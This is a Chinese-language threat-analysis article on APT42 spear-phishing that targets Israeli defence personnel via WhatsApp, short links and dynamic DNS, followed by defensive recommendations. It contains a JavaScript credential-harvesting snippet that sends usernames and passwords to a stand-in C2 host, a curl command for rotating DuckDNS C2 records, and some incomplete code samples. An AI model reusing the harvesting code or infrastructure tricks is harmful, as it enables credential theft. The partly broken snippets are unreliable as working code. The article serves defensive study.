APT42利用短链与即时通信平台的鱼叉式钓鱼战术分析

原创

草竹道人

发布于 2026-01-22 15:59:06

2030

文章被收录于专栏：公共互联网反网络钓鱼（APCN）公共互联网反网络钓鱼（APCN）

摘要

本文基于以色列国家网络局与GBHackers研究机构披露的最新攻击活动，系统分析伊朗背景高级持续性威胁组织APT42（又名Charming Kitten）针对以色列防务与安全领域人员所实施的鱼叉式钓鱼攻击。研究表明，该组织近期频繁通过WhatsApp等端到端加密即时通信工具，向高价值目标发送伪装为合作邀约或安全通告的消息，并嵌入经msnl[.]lnk等短链服务生成的恶意URL。点击后，受害者被重定向至高度仿真的登录页面或携带恶意载荷的站点，旨在窃取身份凭证、浏览器会话及部署持久化后门。攻击基础设施大量依赖动态DNS与短链平台，展现出高度灵活性与抗追踪能力。本文深入剖析其社会工程话术设计、短链跳转机制、伪造页面构造逻辑及后续载荷投递路径，并结合可复现的代码示例展示典型重定向流程与凭据捕获技术。在此基础上，评估现有移动终端安全策略的不足，提出融合通信行为监控、短链解析验证、上下文感知认证与员工威胁认知训练的多层防御框架。研究指出，仅依赖静态指标黑名单已无法有效应对APT42此类具备国家级资源支持、战术迭代迅速的对手，需转向以行为基线与情报驱动为核心的主动防御体系。

关键词：APT42；鱼叉式钓鱼；短链接；WhatsApp；动态DNS；凭据窃取；移动终端安全

1 引言

高级持续性威胁（Advanced Persistent Threat, APT）组织近年来日益将即时通信平台纳入其初始入侵向量，尤其在针对政治、军事与防务目标的行动中表现突出。相较于传统电子邮件钓鱼，基于WhatsApp、Telegram等端到端加密应用的社交工程攻击具备更强的隐蔽性与信任诱导效应——用户通常对来自“熟人”或“官方渠道”的消息放松警惕，且企业移动设备管理（MDM）策略对此类个人通信工具的监控能力有限。2025年末至2026年初，伊朗支持的APT42组织被证实持续利用此模式对以色列安全与防务部门人员发起精准打击，其攻击链条融合了社会工程、短链混淆、动态基础设施与高度仿真的前端欺骗页面，构成一套高效且低检出率的初始访问体系。

APT42（亦称Charming Kitten、Phosphorus、TA453）自2014年起活跃，长期以中东地区政治异见者、学术机构、医疗组织及流亡团体为目标，其标志性手法包括冒充招聘方、会议主办方或政府联络人，通过建立虚假信任关系诱导目标交互。此次针对以色列防务人员的行动延续了该组织的行为特征，但在技术实现上进一步优化：攻击者不再依赖单一域名或固定IP，而是广泛采用msnl[.]lnk等新兴短链服务与动态DNS提供商（如No-IP、DuckDNS），实现攻击基础设施的快速轮换与地理分布。此举显著削弱了基于域名/IP黑名单的传统检测机制的有效性。

本文聚焦于APT42在本次行动中的战术、技术和程序（TTPs），重点解析其如何通过WhatsApp构建可信上下文、利用短链隐藏真实目的地、并部署动态伪造页面完成凭据窃取。通过逆向分析公开样本与模拟攻击流程，本文还原其技术栈关键组件，并提出针对性防御建议。全文结构如下：第二部分概述APT42的历史背景与近期活动特征；第三部分详细拆解其鱼叉式钓鱼攻击链；第四部分分析短链与动态DNS在逃避检测中的作用；第五部分探讨移动终端安全策略的短板与改进方向；第六部分总结研究发现并指出未来防御演进路径。

2 APT42组织背景与近期活动特征

APT42隶属于伊朗伊斯兰革命卫队（IRGC）关联的情报单位，其行动具有明确的地缘政治动机，主要服务于伊朗在中东地区的战略情报收集需求。该组织以“社交工程大师”著称，擅长长期潜伏、角色扮演与心理操控。历史行动中，其曾冒充联合国官员邀请学者参会、伪装猎头提供高薪职位、甚至伪造学术期刊编辑部邮件诱导目标下载恶意附件。

在2025年第四季度至2026年初的最新活动中，APT42将目标聚焦于以色列国防部承包商、军事情报分析员及网络安全研究人员。攻击起始于WhatsApp消息，内容通常包含以下三类诱饵：

“以色列国防军合作项目招募通知”；

“特拉维夫安全峰会参会确认链接”；

“账户异常登录警告，请立即验证”。

所有消息均附带一个短链接（如 https://msnl.lnk/AbC3xY），表面指向官方PDF文档或安全门户，实则为多层跳转入口。值得注意的是，攻击者在消息中刻意使用希伯来语拼写错误较少的正式措辞，并模仿以色列政府机构常用格式，增强可信度。此外，部分消息声称“此为机密通信，请勿转发”，进一步抑制受害者核实行为。

3 鱼叉式钓鱼攻击链的技术拆解

APT42此次攻击链可分为四个阶段：初始接触、链接跳转、凭据窃取与载荷投递。

3.1 初始接触：基于WhatsApp的社会工程

攻击者首先通过开源情报（OSINT）或先前数据泄露获取目标姓名、职务及所属单位，随后注册新WhatsApp账号（常使用虚拟号码或被盗SIM卡），以“合作方”“HR专员”或“安全协调员”身份发起对话。由于WhatsApp默认显示联系人头像与状态信息，攻击者常上传伪造的机构Logo作为头像，并设置状态为“以色列国防部合作项目组”，强化身份可信度。

3.2 短链跳转与多层重定向

点击短链后，受害者首先进入一个看似无害的中间页面（例如伪装成Google Drive预览页或LinkedIn通知页），该页面通过JavaScript执行自动跳转：

<!DOCTYPE html>

<html>

<head>

</head>

<body>

<p>正在加载安全验证...</p>

</body>

</html>

实际跳转目标为APT42控制的动态DNS子域名。由于动态DNS服务允许免费注册且IP可随时变更，攻击者可在数小时内更换基础设施，规避IP封禁。

3.3 凭据窃取页面构造

最终落地页高度仿照Microsoft 365、Google Workspace或以色列政府内部门户的登录界面。页面不仅复刻UI元素，还通过以下技术增强欺骗性：

使用Let’s Encrypt签发的有效SSL证书；

在URL栏显示 login.microsoftonline-israel[.]com 等视觉近似域名；

动态加载真实服务的favicon与CSS资源，提升渲染真实性。

凭据提交后，页面通过AJAX将数据发送至C2服务器，同时重定向至真实登录页，制造“输入错误”的假象，延迟受害者察觉时间。核心JavaScript代码片段如下：

document.getElementById('loginForm').addEventListener('submit', function(e) {

e.preventDefault();

const username = document.getElementById('username').value;

const password = document.getElementById('password').value;

fetch('https://c2-server[.]onion/log', {

method: 'POST',

headers: {'Content-Type': 'application/json'},

body: JSON.stringify({u: username, p: password, src: 'whatsapp_spear'})

}).then(() => {

window.location.href = 'https://login.microsoftonline.com'; // 跳转至真实页面

});

3.4 后续载荷投递

部分高价值目标在提交凭据后，会被引导下载名为“Security_Update.exe”或“Project_Brief.pdf.js”的文件。前者为打包的Cobalt Strike Beacon，后者为JavaScript后门，利用Windows Script Host执行PowerShell命令，实现持久化与横向移动。

4 短链与动态DNS在逃避检测中的作用

短链服务与动态DNS的结合，构成了APT42基础设施的核心弹性机制。

4.1 短链作为第一层混淆

短链平台（如msnl[.]lnk）本身通常具备合法业务场景，其主域名难以被整体封禁。攻击者注册大量子路径（如 /AbC3xY, /XyZ9kL），每个路径对应不同目标或批次。即使某路径被标记，其余路径仍可继续使用。此外，短链服务常启用HTTPS与HSTS，使得中间网络设备无法深度解析原始URL。

4.2 动态DNS实现快速轮换

APT42在本次行动中大量使用免费动态DNS服务。以DuckDNS为例，攻击者可通过简单API调用更新子域名指向的IP：

# 每日自动更新C2 IP

curl "https://www.duckdns.org/update?domains=apt42-c2&token=SECRET_TOKEN&ip=$(curl ifconfig.me)"

此举使得基于IP的威胁情报迅速失效。更甚者，攻击者将C2服务器部署于云服务商（如DigitalOcean、Linode）的短期实例上，配合自动化脚本实现“用完即弃”。

4.3 基础设施指标的短暂生命周期

分析显示，单个钓鱼URL平均活跃时间为8–12小时，动态DNS记录更新频率达每日2–3次。这种高频轮换策略使得传统基于静态IOC（Indicator of Compromise）的检测模型响应滞后，难以形成有效阻断。

5 移动终端安全策略的短板与改进方向

当前企业移动安全架构在应对APT42类攻击时存在明显缺陷：

5.1 个人通信应用缺乏监控

多数组织允许员工在工作手机上安装WhatsApp等应用，但未部署应用沙箱或通信内容审计机制。端到端加密虽保护隐私，却也为攻击者提供天然避风港。建议高风险岗位设备实施“通信隔离”策略：工作终端仅安装经批准的企业通信工具（如Microsoft Teams、Signal for Work），禁止安装个人社交应用。

5.2 短链解析能力缺失

现有移动威胁防御（MTD）解决方案普遍缺乏对短链的实时展开与信誉评估能力。应集成短链解析引擎，在用户点击前自动展开至最终URL，并结合上下文（如来源应用、消息内容）进行风险评分。例如：

import requests

def expand_shortlink(url):

try:

resp = requests.head(url, allow_redirects=True, timeout=5)

return resp.url

except:

return None

# 示例：检测来自WhatsApp的短链

original_url = "https://msnl.lnk/AbC3xY"

final_url = expand_shortlink(original_url)

if final_url and "ddns.net" in final_url:

block_access() # 触发阻断策略

5.3 身份验证机制需上下文感知

即便凭据被窃，若系统具备上下文感知认证能力，仍可限制损害。例如，当检测到登录请求来自非注册设备、非常用地点或异常时间，应强制执行FIDO2安全密钥或生物识别二次验证，而非仅依赖短信OTP（易被中继）。

5.4 员工威胁认知训练需具体化

通用“不要点链接”培训效果有限。应针对APT42等已知对手开展场景化演练：模拟收到“国防部合作邀请”WhatsApp消息，训练员工核查发件人号码、拒绝外部链接、并通过官方渠道回拨确认。认知训练需定期更新，覆盖最新TTPs。

6 结论

APT42对以色列防务目标的鱼叉式钓鱼行动，体现了国家级APT组织在初始访问阶段的高度专业化与适应性。其通过WhatsApp构建可信上下文、利用短链与动态DNS实现基础设施弹性、并部署高保真伪造页面完成凭据窃取，形成一套低噪声、高成功率的攻击范式。本文通过技术拆解与代码示例，揭示了其攻击链各环节的实现细节，并指出传统基于静态指标的防御体系在此类对手面前的局限性。有效应对需从终端策略、网络监控、认证机制与人员训练四方面协同推进，构建以行为基线、上下文关联与自动化响应为核心的纵深防御体系。未来研究可聚焦于短链流量图谱构建、动态DNS滥用检测模型，以及面向高风险人群的通信行为异常识别算法，以进一步压缩APT组织的行动空间。

编辑：芦笛（公共互联网反网络钓鱼工作组）

原创声明：本文系作者授权腾讯云开发者社区发表，未经许可，不得转载。

如有侵权，请联系 cloudcommunity@tencent.com 删除。

网络钓鱼攻击